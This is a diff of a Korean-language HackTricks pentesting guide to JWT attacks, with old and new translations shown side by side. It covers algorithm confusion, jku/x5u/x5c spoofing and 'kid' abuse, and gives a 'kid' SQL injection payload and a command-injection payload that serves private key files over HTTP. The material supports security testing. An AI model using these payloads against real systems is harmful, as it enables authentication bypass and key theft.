* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**팔로우**하세요. * **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. * **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**해킹 경력**에 관심이 있 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중**! (_유창한 폴란드어 필수_). **해킹 경력**에 관심이 있다면, 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중입니다!** (_유창한 폴란드어 필수_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
@ -47,20 +47,20 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
JWT의 서명이 확인되는지 확인하려면: JWT의 서명이 확인되는지 확인하려면:
* 오류 메시지가 지속적인 확인을 제안함; 상세 정보가 포함된 상세한 오류를 검토해야 함. * 오류 메시지가 확인 작업을 시도 중임을 나타냅니다. 상세한 오류 메시지에 민감한 세부 정보가 포함되어 있으면 검토해야 합니다.
* 반환된 페이지의 변경도 확인을 나타냄. * 반환된 페이지의 변경은 확인 작업을 나타냅니다.
* 변경이 없으면 확인이 없음을 나타냄; 이때는 페이로드 클레임을 조작해 실험해야 함. * 변경이 없으면 확인이 이루어지지 않습니다. 이 경우에는 페이로드 클레임을 조작해 실험해보세요.
### 출처 ### 출처
토큰이 서버 측에서 생성되었는지 또는 클라이언트 측에서 생성되었는지를 확인하기 위해 프록시의 요청 기록을 조사하는 것이 중요합니다. 토큰이 서버 측에서 생성되었는지 또는 클라이언트 측에서 생성되었는지를 확인하기 위해 프록시의 요청 기록을 조사하는 것이 중요합니다.
* 클라이언트 측에서 처음 본 토큰은 키가 클라이언트 측 코드에 노출될 수 있음을 나타내며, 추가 조사가 필요. * 클라이언트 측에서 처음 본 토큰은 키가 클라이언트 측 코드에 노출될 수 있음을 나타내며, 추가 조사가 필요합니다.
* 서버 측에서 발생한 토큰은 안전한 프로세스를 나타냄. * 서버 측에서 시작된 토큰은 안전한 프로세스를 나타냅니다.
### 기간 ### 기간
토큰이 24시간 이상 유지되는지 확인세요... 아마 만료되지 않을 수도 있습니다. "exp" 필드가 있는 경우 서버가 올바르게 처리하는지 확인하세요. 토큰이 24시간 이상 유지되는지 확인해보세요... 아마 만료되지 않을 수도 있습니다. "exp" 필드가 있는 경우 서버가 올바르게 처리하는지 확인하세요.
### HMAC 비밀 키 무차별 대입 ### HMAC 비밀 키 무차별 대입
@ -70,16 +70,16 @@ JWT의 서명이 확인되는지 확인하려면:
사용된 알고리즘을 "None"으로 설정하고 서명 부분을 제거하세요. 사용된 알고리즘을 "None"으로 설정하고 서명 부분을 제거하세요.
Burp 확장 기능인 "JSON Web Token"을 사용하여 이 취약점을 시도하고 JWT 내부의 다른 값을 변경할 수 있습니다(요청을 Repeater로 보내고 "JSON Web Token" 탭에서 토큰의 값을 수정할 수 있습니다. 또한 "Alg" 필드의 값을 "None"으로 설정할 수도 있습니다). Burp 확장 기능인 "JSON Web Token"을 사용하여 이 취약점을 시도하고 JWT 내부의 다른 값을 변경할 수 있습니다(요청을 Repeater로 보내고 "JSON Web Token" 탭에서 토큰의 값을 수정할 수 있습니다. "Alg" 필드의 값을 "None"으로 설정할 수도 있습니다).
### RS256(비대칭) 알고리즘을 HS256(대칭)으로 변경하기 (CVE-2016-5431/CVE-2016-10555) ### RS256(비대칭) 알고리즘을 HS256(대칭)으로 변경하기 (CVE-2016-5431/CVE-2016-10555)
알고리즘 HS256은 각 메시지를 서명하고 확인하기 위해 비밀 키를 사용합니다.\ HS256 알고리즘은 각 메시지를 서명하고 확인하기 위해 비밀 키를 사용합니다.\
알고리즘 RS256은 메시지를 서명하기 위해 개인 키를 사용하고 인증을 위해 공개 키를 사용합니다. RS256 알고리즘은 메시지를 서명하기 위해 개인 키를 사용하고 인증을 위해 공개 키를 사용합니다.
RS256에서 HS256로 알고리즘을 변경하면 백엔드 코드가 공개 키를 비밀 키로 사용하고 그런 다음 HS256 알고리즘을 사용하여 서명을 확인합니다. RS256에서 HS256로 알고리즘을 변경하면 백엔드 코드가 공개 키를 비밀 키로 사용하고 그런 다음 HS256 알고리즘을 사용하여 서명을 확인합니다.
그런 다음 공개 키를 사용하여 RS256을 HS256로 변경하 유효한 서명을 생성할 수 있습니다. 이를 실행하는 웹 서버의 인증서를 검색할 수 있습니다: 그런 다음 공개 키를 사용하여 RS256을 HS256로 변경하 유효한 서명을 생성할 수 있습니다. 이를 실행하는 웹 서버의 인증서를 검색할 수 있습니다:
```bash ```bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well. openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
@ -91,16 +91,16 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
이 작업은 "JSON Web Tokens" Burp 확장 프로그램을 사용하여 수행할 수 있습니다.\ 이 작업은 "JSON Web Tokens" Burp 확장 프로그램을 사용하여 수행할 수 있습니다.\
(요청을 Repeater로 보내고, JSON Web Token 탭에서 "CVE-2018-0114"를 선택한 후 요청을 보냅니다). (요청을 Repeater로 보내고, JSON Web Token 탭에서 "CVE-2018-0114"를 선택한 후 요청을 보냅니다).
### JWKS 위조 ### JWKS 스푸핑
지침은 JWT 토큰의 보안을 평가하는 방법을 상세히 설명하며 특히 "jku" 헤더 클레임을 사용하는 경우에 대해 다룹니다. 이 클레임은 토큰의 확인에 필요한 공개 키가 포함된 JWKS (JSON Web Key Set) 파일에 연결해야 합니다. 지침은 JWT 토큰의 보안을 평가하는 방법을 상세히 설명하며 특히 "jku" 헤더 클레임을 사용하는 경우에 대해 다룹니다. 이 클레임은 토큰의 확인에 필요한 공개 키가 포함된 JWKS (JSON Web Key Set) 파일로 연결되어야 합니다.
* **"jku" 헤더를 사용한 토큰 평가**: * **"jku" 헤더를 사용한 토큰 평가**:
* "jku" 클레임의 URL을 확인하여 적절한 JWKS 파일로 이어지는지 확인합니다. * "jku" 클레임의 URL을 확인하여 적절한 JWKS 파일로 이어지는지 확인합니다.
* 토큰의 "jku" 값을 수정하여 제어된 웹 서비스를 가리키도록 하여 트래픽 관찰을 허용합니다. * 토큰의 "jku" 값을 수정하여 제어된 웹 서비스를 가리키도록 변경하여 트래픽 관찰을 허용합니다.
* **HTTP 상호작용 모니터링**: * **HTTP 상호작용 모니터링**:
* 지정된 URL로의 HTTP 요청을 관찰하면 서버가 제공된 링크에서 키를 가져오려는 시도를 나타냅니다. * 지정된 URL로의 HTTP 요청을 관찰하면 서버가 제공된 링크에서 키를 가져오려는 시도를 나타냅니다.
* 이 프로세스에 `jwt_tool`을 사용할 때는 테스트를 용이하게 하기 위해 `jwtconf.ini` 파일을 개인 JWKS 위치로 업데이트하는 것이 중요합니다. * 이 프로세스에 `jwt_tool`을 사용할 때는 테스트를 용이하게 하기 위해 개인 JWKS 위치를 나타내는 `jwtconf.ini` 파일을 업데이트하는 것이 중요합니다.
* **`jwt_tool`을 위한 명령어**: * **`jwt_tool`을 위한 명령어**:
* 다음 명령어를 실행하여 `jwt_tool`을 사용하여 시나리오를 시뮬레이트합니다: * 다음 명령어를 실행하여 `jwt_tool`을 사용하여 시나리오를 시뮬레이트합니다:
@ -118,15 +118,17 @@ python3 jwt_tool.py JWT_HERE -X s
#### "kid"를 사용한 경로 탐색 #### "kid"를 사용한 경로 탐색
`kid` 클레임은 파일 시스템을 탐색하는 데 악용될 수 있으며, 임의의 파일을 선택할 수 있게 해줄 수 있습니다. `kid` 값을 변경하여 특정 파일이나 서비스를 대상으로 하는 연결성을 테스트하거나 서버 측 요청 위조 (SSRF) 공격을 실행할 수 있습니다. 원래 서명을 유지한 채 JWT를 조작하여 `kid` 값을 변경하는 것은 jwt\_tool의 `-T` 플래그를 사용하여 아래와 같이 수행할 수 있습니다: `kid` 클레임은 파일 시스템을 탐색하거나 임의의 파일을 선택할 수 있도록 악용될 수 있습니다. `kid` 값을 변경하여 특정 파일이나 서비스를 대상으로 하는 연결성을 테스트하거나 서버 측 요청 위조 (SSRF) 공격을 실행할 수 있습니다. 원래 서명을 유지한 채 JWT를 조작하여 `kid` 값을 변경하는 것은 jwt\_tool의 `-T` 플래그를 사용하여 아래와 같이 수행할 수 있습니다:
```bash ```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p "" python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
``` ```
### 예측 가능한 콘텐츠를 가진 파일을 대상으로 함으로써 유효한 JWT를 위조할 수 있습니다. 예를 들어, Linux 시스템의 `/proc/sys/kernel/randomize_va_space` 파일은 값 **2**를 포함하고 있으며, 이를 JWT 생성을 위한 대칭 암호로 사용할 수 있습니다. #### JWT 및 JSON 웹 토큰 해킹
- 예측 가능한 콘텐츠를 가진 파일을 대상으로 함으로써 유효한 JWT를 위조할 수 있습니다. 예를 들어, Linux 시스템의 `/proc/sys/kernel/randomize_va_space` 파일은 값 **2**를 포함하고 있으며, 이를 JWT 생성을 위한 대칭 암호로 사용할 수 있습니다.
#### "kid"를 통한 SQL Injection #### "kid"를 통한 SQL Injection
만약 `kid` 클레임의 콘텐츠가 데이터베이스에서 비밀번호를 가져오는 데 사용된다면, SQL Injection을 통해 `kid` 페이로드를 수정하여 SQL Injection을 수행할 수 있습니다. JWT 서명 프로세스를 변경하기 위해 SQL Injection을 사용하는 예시 페이로드는 다음과 같습니다: - `kid` 클레임의 콘텐츠가 데이터베이스에서 비밀번호를 가져오는 데 사용된다면, `kid` 페이로드를 수정하여 SQL Injection을 수행할 수 있습니다. JWT 서명 프로세스를 변경하기 위해 SQL Injection을 사용하는 예시 페이로드는 다음과 같습니다:
`non-existent-index' UNION SELECT 'ATTACKER';-- -` `non-existent-index' UNION SELECT 'ATTACKER';-- -`
@ -134,7 +136,7 @@ python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
#### "kid"를 통한 OS Injection #### "kid"를 통한 OS Injection
`kid` 파라미터가 명령 실행 컨텍스트 내에서 사용되는 파일 경로를 지정하는 시나리오는 원격 코드 실행 (RCE) 취약점으로 이어질 수 있습니다. `kid` 파라미터에 명령을 삽입함으로써 개인 키를 노출시킬 수 있습니다. RCE 및 키 노출을 달성하기 위한 예시 페이로드는 다음과 같습니다: - `kid` 매개변수가 명령 실행 컨텍스트 내에서 사용되는 파일 경로를 지정하는 시나리오는 원격 코드 실행 (RCE) 취약점으로 이어질 수 있습니다. `kid` 매개변수에 명령을 삽입함으로써 개인 키를 노출시킬 수 있습니다. RCE 및 키 노출을 달성하기 위한 예시 페이로드는 다음과 같습니다:
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&` `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
@ -142,8 +144,8 @@ python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
#### jku #### jku
jku는 **JWK Set URL**을 나타냅니다.\ - jku는 **JWK Set URL**을 나타냅니다.\
토큰이 “**jku**” **Header** 클레임을 사용한다면, **제공된 URL을 확인**하십시오. 이는 토큰을 확인하는 데 사용되는 공개 키를 보유하는 JWKS 파일이 포함된 URL을 가리켜야 합니다. 토큰을 조작하여 jku 값을 모니터링할 수 있는 웹 서비스로 지정하십시오. 토큰이 "**jku**" **Header** 클레임을 사용한다면, 제공된 URL을 확인하십시오. 이 URL은 토큰을 확인하는 데 사용되는 공개 키를 보유하는 JWKS 파일을 가리켜야 합니다. 토큰을 조작하여 jku 값을 모니터링할 수 있는 웹 서비스로 지정하십시오.
먼저 새로운 개인 및 공개 키를 사용하여 새 인증서를 생성해야 합니다. 먼저 새로운 개인 및 공개 키를 사용하여 새 인증서를 생성해야 합니다.
```bash ```bash
@ -151,7 +153,7 @@ openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
``` ```
그럼 예를 들어 [**jwt.io**](https://jwt.io)를 사용하여 **생성된 공개 및 개인 키로 새 JWT를 만들고 매개변수 jku를 생성된 인증서로 지정**할 수 있습니다. 유효한 jku 인증서를 만들기 위해 원본을 다운로드하고 필요한 매개변수를 변경할 수 있습니다. 그럼 예를 들어 [**jwt.io**](https://jwt.io)를 사용하여 **생성된 공개 및 개인 키로 새 JWT를 생성하고 매개 변수 jku를 생성된 인증서로 지정**할 수 있습니다. 유효한 jku 인증서를 만들기 위해 원본을 다운로드하고 필요한 매개 변수를 변경할 수 있습니다.
공개 인증서에서 "e" 및 "n" 매개변수를 얻을 수 있습니다: 공개 인증서에서 "e" 및 "n" 매개변수를 얻을 수 있습니다:
```bash ```bash
@ -173,7 +175,7 @@ X.509 URL. PEM 형식으로 인코딩된 X.509 (인증서 형식 표준) 공개
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
``` ```
그럼 예를 들어 [**jwt.io**](https://jwt.io)를 사용하여 **생성된 공개 및 개인 키로 새 JWT를 생성하고 매개 변수 x5u를 생성된 .crt 인증서로 지정할 수 있습니다.** 그럼 예를 들어 [**jwt.io**](https://jwt.io)를 사용하여 **생성된 공개 및 개인 키를 사용하고 x5u 매개변수를 .crt로 지정한 인증서로 새 JWT를 생성할 수 있습니다.**
![](<../.gitbook/assets/image (953).png>) ![](<../.gitbook/assets/image (953).png>)
@ -181,11 +183,11 @@ openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
#### x5c #### x5c
이 매개 변수에는 **base64로 인코딩된 인증서**가 포함될 수 있습니다: 이 매개변수에는 **base64로 인코딩된 인증서**가 포함될 수 있습니다:
![](<../.gitbook/assets/image (1116).png>) ![](<../.gitbook/assets/image (1116).png>)
공격자가 **자체 서명된 인증서를 생성**하고 해당 개인 키를 사용하여 위조 토큰을 생성하고 "x5c" 매개 변수의 값을 새로 생성된 인증서로 대체하고 다른 매개 변수인 n, e 및 x5t를 수정하면 사실상 위조된 토큰이 서버에서 수락될 수 있습니다. 공격자가 **자체 서명된 인증서를 생성**하고 해당 개인 키를 사용하여 위조 토큰을 생성하고 "x5c" 매개변수의 값을 새로 생성된 인증서로 대체하고 다른 매개변수인 n, e 및 x5t를 수정하면 위조된 토큰이 서버에서 수락되게 됩니다.
```bash ```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text openssl x509 -in attacker.crt -text
@ -196,7 +198,7 @@ openssl x509 -in attacker.crt -text
![](<../.gitbook/assets/image (619).png>) ![](<../.gitbook/assets/image (619).png>)
다음 Node.js 스크립트를 사용하여 해당 데이터에서 공개 키를 생성할 수 있습니다: 다음 nodejs 스크립트를 사용하여 해당 데이터에서 공개 키를 생성할 수 있습니다:
```bash ```bash
const NodeRSA = require('node-rsa'); const NodeRSA = require('node-rsa');
const fs = require('fs'); const fs = require('fs');
@ -206,13 +208,13 @@ const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public'); var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public")); console.log(importedKey.exportKey("public"));
``` ```
다음은 새 개인/공개 키를 생성하고 새 공개 키를 토큰 내에 포함시킨 후 이를 사용하여 새 서명을 생성하는 것이 가능합니다: 다음은 새 개인/공개 키를 생성하고 새 공개 키를 토큰 내에 삽입한 다음 이를 사용하여 새 서명을 생성하는 것이 가능합니다:
```bash ```bash
openssl genrsa -out keypair.pem 2048 openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
``` ```
다음은 "n"과 "e"를 얻을 수 있는 이 Node.js 스크립트입니다: 이 Node.js 스크립트를 사용하여 "n"과 "e"를 얻을 수 있습니다:
```bash ```bash
const NodeRSA = require('node-rsa'); const NodeRSA = require('node-rsa');
const fs = require('fs'); const fs = require('fs');
@ -224,14 +226,14 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
``` ```
### ES256: 동일한 논스로 개인 키 노출 ### ES256: 동일한 논스로 개인 키 노출
일부 애플리케이션이 ES256을 사용하고 두 개의 JWT를 생성하기 위해 동일한 논스를 사용하는 경우, 개인 키를 복원할 수 있습니다. 어떤 애플리케이션이 ES256을 사용하고 두 개의 JWT를 생성하기 위해 동일한 논스를 사용한다면, 개인 키를 복원할 수 있습니다.
여기 예시가 있습니다: [ECDSA: 동일한 논스를 사용하여 개인 키 노출 (SECP256k1과 함께)](https://asecuritysite.com/encryption/ecd5) 여기 예시가 있습니다: [ECDSA: 동일한 논스를 사용하여 개인 키 노출 (SECP256k1과 함께)](https://asecuritysite.com/encryption/ecd5)
### JTI (JWT ID) ### JTI (JWT ID)
JTI (JWT ID) 클레임은 JWT 토큰에 대한 고유 식별자를 제공합니다. 이를 사용하여 토큰 재전송을 방지할 수 있습니다.\ JTI (JWT ID) 클레임은 JWT 토큰에 대한 고유 식별자를 제공합니다. 이를 사용하여 토큰 재전송을 방지할 수 있습니다.\
그러나 ID의 최대 길이가 4 (0001-9999)인 상황을 상상해보십시오. 요청 0001과 10001은 동일한 ID를 사용할 것입니다. 따라서 백엔드가 각 요청마다 ID를 증가시키는 경우, 이를 악용하여 **요청 재전송**을 할 수 있습니다 (각 성공적인 재전송 사이에 10000개의 요청을 보내야 함). 그러나 ID의 최대 길이가 4 (0001-9999)인 상황을 상상해보세요. 요청 0001과 10001은 동일한 ID를 사용할 것입니다. 따라서 백엔드가 각 요청마다 ID를 증가시킨다면 이를 악용하여 **요청 재전송**을 할 수 있습니다 (각 성공적인 재전송 사이에 10000개의 요청을 보내야 함).
### JWT 등록된 클레임 ### JWT 등록된 클레임
@ -239,38 +241,38 @@ JTI (JWT ID) 클레임은 JWT 토큰에 대한 고유 식별자를 제공합니
### 기타 공격 ### 기타 공격
**크로스-서비스 릴레이 공격** **교차 서비스 릴레이 공격**
일부 웹 애플리케이션은 토큰의 생성 및 관리를 위해 신뢰할 수 있는 JWT 서비스에 의존하는 것으로 관찰되었습니다. 동일한 JWT 서비스의 다른 클라이언트가 수락한 토큰이 다른 클라이언트에 의해 수락된 경우가 기록되었습니다. 제3자 서비스를 통해 JWT의 발급 또는 갱신이 관찰된 경우, 동일한 사용자 이름/이메일을 사용하여 해당 서비스의 다른 클라이언트에 가입하는 가능성을 조사해야 합니다. 그런 다음 획득한 토큰을 대상에 대한 요청으로 재전송해 토큰이 수락되는지 확인해야 합니다. 일부 웹 애플리케이션은 토큰의 생성 및 관리를 위해 신뢰할 수 있는 JWT 서비스에 의존하는 것으로 관찰되었습니다. 동일한 JWT 서비스의 다른 클라이언트가 수락한 토큰이 다른 클라이언트에 의해 수락된 경우가 기록되었습니다. 제3자 서비스를 통해 JWT의 발급 또는 갱신이 관찰된 경우, 동일한 사용자 이름/이메일을 사용하여 해당 서비스의 다른 클라이언트에 가입하는 가능성을 조사해야 합니다. 그런 다음 얻은 토큰을 대상에 대한 요청에서 재생하여 수락되는지 확인해야 합니다.
* 토큰이 수락된다면 어떤 사용자의 계정을 스푸핑할 수 있는 심각한 문제가 발생할 수 있습니다. 그러나 제3자 애플리케이션에 가입하는 경우 더 넓은 테스트 권한이 필요할 수 있음을 유의해야 합니다. * 토큰이 수락된다면 어떤 사용자의 계정을 스푸핑할 수 있는 심각한 문제가 발생할 수 있습니다. 그러나 제3자 애플리케이션에 가입하는 경우 더 넓은 테스트 권한이 필요할 수 있음을 유의해야 합니다.
**토큰 만료 확인** **토큰 만료 확인**
토큰의 만료는 "exp" 페이로드 클레임을 사용하여 확인됩니다. JWT가 종종 세션 정보 없이 사용되기 때문에 주의 깊은 처리가 필요합니다. 다른 사용자의 JWT를 캡처하고 재전송하는 경우, 해당 사용자를 흉내낼 수 있습니다. JWT RFC는 토큰에 만료 시간을 설정하기 위해 "exp" 클레임을 활용하여 JWT 재전송 공격을 완화하는 것을 권장합니다. 또한 응용 프로그램이 이 값을 처리하고 만료된 토큰을 거부하기 위한 관련 검사를 구현하는 것이 중요합니다. 토큰에 "exp" 클레임이 포함되어 있고 테스트 시간 제한이 허용된다면, 토큰을 저장하고 만료 시간이 경과한 후에 재전송하는 것이 좋습니다. 토큰의 내용, 타임스탬프 구문 분석 및 만료 확인(UTC 타임스탬프)은 jwt_tool의 -R 플래그를 사용하여 읽을 수 있습니다. 토큰의 만료는 "exp" 페이로드 클레임을 사용하여 확인됩니다. JWT가 종종 세션 정보 없이 사용되기 때문에 주의 깊은 처리가 필요합니다. 다른 사용자의 JWT를 캡처하고 재생할 경우 해당 사용자를 흉내낼 수 있습니다. JWT RFC는 토큰에 만료 시간을 설정하기 위해 "exp" 클레임을 활용하여 JWT 재 공격을 완화하는 것을 권장합니다. 또한 응용 프로그램이 이 값을 처리하고 만료된 토큰을 거부하기 위한 관련 검사를 구현하는 것이 중요합니다. 토큰에 "exp" 클레임이 포함되어 있고 테스트 시간 제한이 허용된다면, 토큰을 저장하고 만료 시간이 지난 후에 재생하는 것이 좋습니다. 토큰의 내용, 타임스탬프 구문 분석 및 만료 확인(UTC 타임스탬프)은 jwt_tool의 -R 플래그를 사용하여 읽을 수 있습니다.
* 응용 프로그램이 여전히 토큰을 유효성 검사하는 경우, 토큰이 절대 만료되지 않을 수 있음을 시사할 수 있으므로 보안 위험이 존재할 수 있습니다. * 응용 프로그램이 여전히 토큰을 유효성 검사하는 경우, 토큰이 만료되지 않을 수 있다는 것을 시사할 수 있으므로 보안 위험이 존재할 수 있습니다.
### 도구 ### 도구
{% embed url="https://github.com/ticarpi/jwt_tool" %} {% embed url="https://github.com/ticarpi/jwt_tool" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**해킹 경력**에 관심이 있다면, 해킹할 수 없는 것을 해킹하십시오 - **채용 중입니다!** (_유창한 폴란드어 필수_). **해킹 경력**에 관심이 있다면, 해킹할 수 없는 것을 해킹하고 싶다면 - **저희가 채용 중입니다!** (_유창한 폴란드어 필수_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong></summary> <summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong></summary>
HackTricks를 지원하는 다른 방법: HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요 * [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 팔로우하세요. * 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
* 여러분의 해킹 요령을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소로 PR을 제출하세요. * 여러분의 해킹 기술을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃 저장소로 PR을 제출하세요.
</details> </details>

View file

@ -8,17 +8,17 @@
HackTricks를 지원하는 다른 방법: HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! - **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요 - [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요. - **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
* **해킹 팁을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요. - **HackTricks****HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
</details> </details>
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중입니다!** (_유창한 폴란드어 필수_). **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **저희가 채용 중입니다!** (_유창한 폴란드어 필수_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
@ -32,12 +32,12 @@ HackTricks를 지원하는 다른 방법:
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md) [pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
{% endcontent-ref %} {% endcontent-ref %}
